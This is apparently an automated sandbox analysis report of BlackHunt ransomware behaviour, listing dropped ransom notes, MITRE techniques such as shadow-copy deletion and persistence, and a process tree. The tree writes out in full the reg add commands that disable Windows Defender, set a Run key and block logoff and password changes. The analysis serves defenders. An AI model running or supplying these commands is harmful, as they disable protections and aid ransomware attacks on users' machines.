File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder.ui.ja_5.5.0.165303.jar	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.director.nl_ja_4.4.0.v20140623020002.jar	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\Java\jre7\lib\jfxrt.jar	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File created	C:\Program Files\VideoLAN\VLC\locale\he\LC_MESSAGES\#BlackHunt_ReadMe.hta	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Qyzylorda	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\#BlackHunt_Private.key	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\#BlackHunt_Private.key	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\#BlackHunt_Private.key	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\access\#BlackHunt_Private.key	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_100_eeeeee_1x100.png	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\#BlackHunt_ReadMe.hta	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\vlc.mo	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File created	C:\Program Files\VideoLAN\VLC\locale\te\#BlackHunt_ReadMe.hta	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\vlm_export.html	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.metadata.repository_1.2.100.v20131209-2144.jar	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\SystemV\MST7	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\zu\LC_MESSAGES\vlc.mo	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\#BlackHunt_Private.key	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\triggerActions.exsd	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-attach_zh_CN.jar	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Dawson	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\vlc.mo	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File created	C:\Program Files\7-Zip\Lang\#BlackHunt_Private.key	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File created	C:\Program Files\Java\jdk1.7.0_80\bin\#BlackHunt_ReadMe.txt	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\PreviousMenuButtonIcon.png	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_email.gif	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File created	C:\Program Files\VideoLAN\VLC\locale\de\LC_MESSAGES\#BlackHunt_Private.key	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.httpcomponents.httpclient_4.2.6.v201311072007.jar	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-attach_ja.jar	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File created	C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\#BlackHunt_ReadMe.hta	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Kiritimati	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\MST7MDT	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File created	C:\Program Files\VideoLAN\VLC\locale\el\#BlackHunt_ReadMe.hta	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\7-Zip\7z.sfx	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ga.txt	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\btn-back-static.png	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Brussels	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.extensionlocation.nl_zh_4.4.0.v20140623020002.jar	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-api-caching.xml	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1564	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
676	vssadmin.exe
960	vssadmin.exe
2744	vssadmin.exe
2724	vssadmin.exe
1864	vssadmin.exe
4388	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
4104	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4936	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
3948	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
Token: SeRestorePrivilege	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
Token: SeBackupPrivilege	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
Token: SeTakeOwnershipPrivilege	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
Token: SeAuditPrivilege	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
Token: SeSecurityPrivilege	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
Token: SeIncBasePriorityPrivilege	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
Token: SeBackupPrivilege	2628	vssvc.exe
Token: SeRestorePrivilege	2628	vssvc.exe
Token: SeAuditPrivilege	2628	vssvc.exe
Token: SeBackupPrivilege	1788	wbengine.exe
Token: SeRestorePrivilege	1788	wbengine.exe
Token: SeSecurityPrivilege	1788	wbengine.exe
Token: SeSecurityPrivilege	4424	wevtutil.exe
Token: SeSecurityPrivilege	4192	wevtutil.exe
Token: SeSecurityPrivilege	4528	wevtutil.exe
Token: SeBackupPrivilege	4424	wevtutil.exe
Token: SeBackupPrivilege	4192	wevtutil.exe
Token: SeBackupPrivilege	4528	wevtutil.exe
Token: SeSecurityPrivilege	4260	wevtutil.exe
Token: SeBackupPrivilege	4260	wevtutil.exe
Token: SeSecurityPrivilege	4520	wevtutil.exe
Token: SeBackupPrivilege	4520	wevtutil.exe
Token: SeDebugPrivilege	4104	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2080 wrote to memory of 2696	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	29
PID 2080 wrote to memory of 2696	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	29
PID 2080 wrote to memory of 2696	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	29
PID 2080 wrote to memory of 2696	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	29
PID 2080 wrote to memory of 2772	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	31
PID 2080 wrote to memory of 2772	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	31
PID 2080 wrote to memory of 2772	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	31
PID 2080 wrote to memory of 2772	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	31
PID 2080 wrote to memory of 2796	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	33
PID 2080 wrote to memory of 2796	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	33
PID 2080 wrote to memory of 2796	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	33
PID 2080 wrote to memory of 2796	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	33
PID 2080 wrote to memory of 2724	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	35
PID 2080 wrote to memory of 2724	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	35
PID 2080 wrote to memory of 2724	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	35
PID 2080 wrote to memory of 2724	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	35
PID 2696 wrote to memory of 2676	2696	cmd.exe	36
PID 2696 wrote to memory of 2676	2696	cmd.exe	36
PID 2696 wrote to memory of 2676	2696	cmd.exe	36
PID 2080 wrote to memory of 2700	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	37
PID 2080 wrote to memory of 2700	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	37
PID 2080 wrote to memory of 2700	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	37
PID 2080 wrote to memory of 2700	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	37
PID 2772 wrote to memory of 2820	2772	cmd.exe	40
PID 2772 wrote to memory of 2820	2772	cmd.exe	40
PID 2772 wrote to memory of 2820	2772	cmd.exe	40
PID 2080 wrote to memory of 2832	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	41
PID 2080 wrote to memory of 2832	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	41
PID 2080 wrote to memory of 2832	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	41
PID 2080 wrote to memory of 2832	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	41
PID 2080 wrote to memory of 2760	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	42
PID 2080 wrote to memory of 2760	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	42
PID 2080 wrote to memory of 2760	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	42
PID 2080 wrote to memory of 2760	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	42
PID 2796 wrote to memory of 2824	2796	cmd.exe	44
PID 2796 wrote to memory of 2824	2796	cmd.exe	44
PID 2796 wrote to memory of 2824	2796	cmd.exe	44
PID 2080 wrote to memory of 2668	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	45
PID 2080 wrote to memory of 2668	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	45
PID 2080 wrote to memory of 2668	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	45
PID 2080 wrote to memory of 2668	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	45
PID 2080 wrote to memory of 2592	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	46
PID 2080 wrote to memory of 2592	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	46
PID 2080 wrote to memory of 2592	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	46
PID 2080 wrote to memory of 2592	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	46
PID 2080 wrote to memory of 2704	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	48
PID 2080 wrote to memory of 2704	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	48
PID 2080 wrote to memory of 2704	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	48
PID 2080 wrote to memory of 2704	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	48
PID 2080 wrote to memory of 2736	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	50
PID 2080 wrote to memory of 2736	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	50
PID 2080 wrote to memory of 2736	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	50
PID 2080 wrote to memory of 2736	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	50
PID 2080 wrote to memory of 2572	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	53
PID 2080 wrote to memory of 2572	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	53
PID 2080 wrote to memory of 2572	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	53
PID 2080 wrote to memory of 2572	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	53
PID 2080 wrote to memory of 2588	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	127
PID 2080 wrote to memory of 2588	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	127
PID 2080 wrote to memory of 2588	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	127
PID 2080 wrote to memory of 2588	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	127
PID 2080 wrote to memory of 3008	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	57
PID 2080 wrote to memory of 3008	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	57
PID 2080 wrote to memory of 3008	2080	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe	57

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
"C:\Users\Admin\AppData\Local\Temp\10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2696
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2772
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2796
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2724
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2148
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2700
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:3028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2832
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2760
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2668
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2592
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2704
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2736
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2572
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2588
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:3008
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2296
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1904
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2812
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2912
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2128
- - C:\Windows\system32\reg.exe
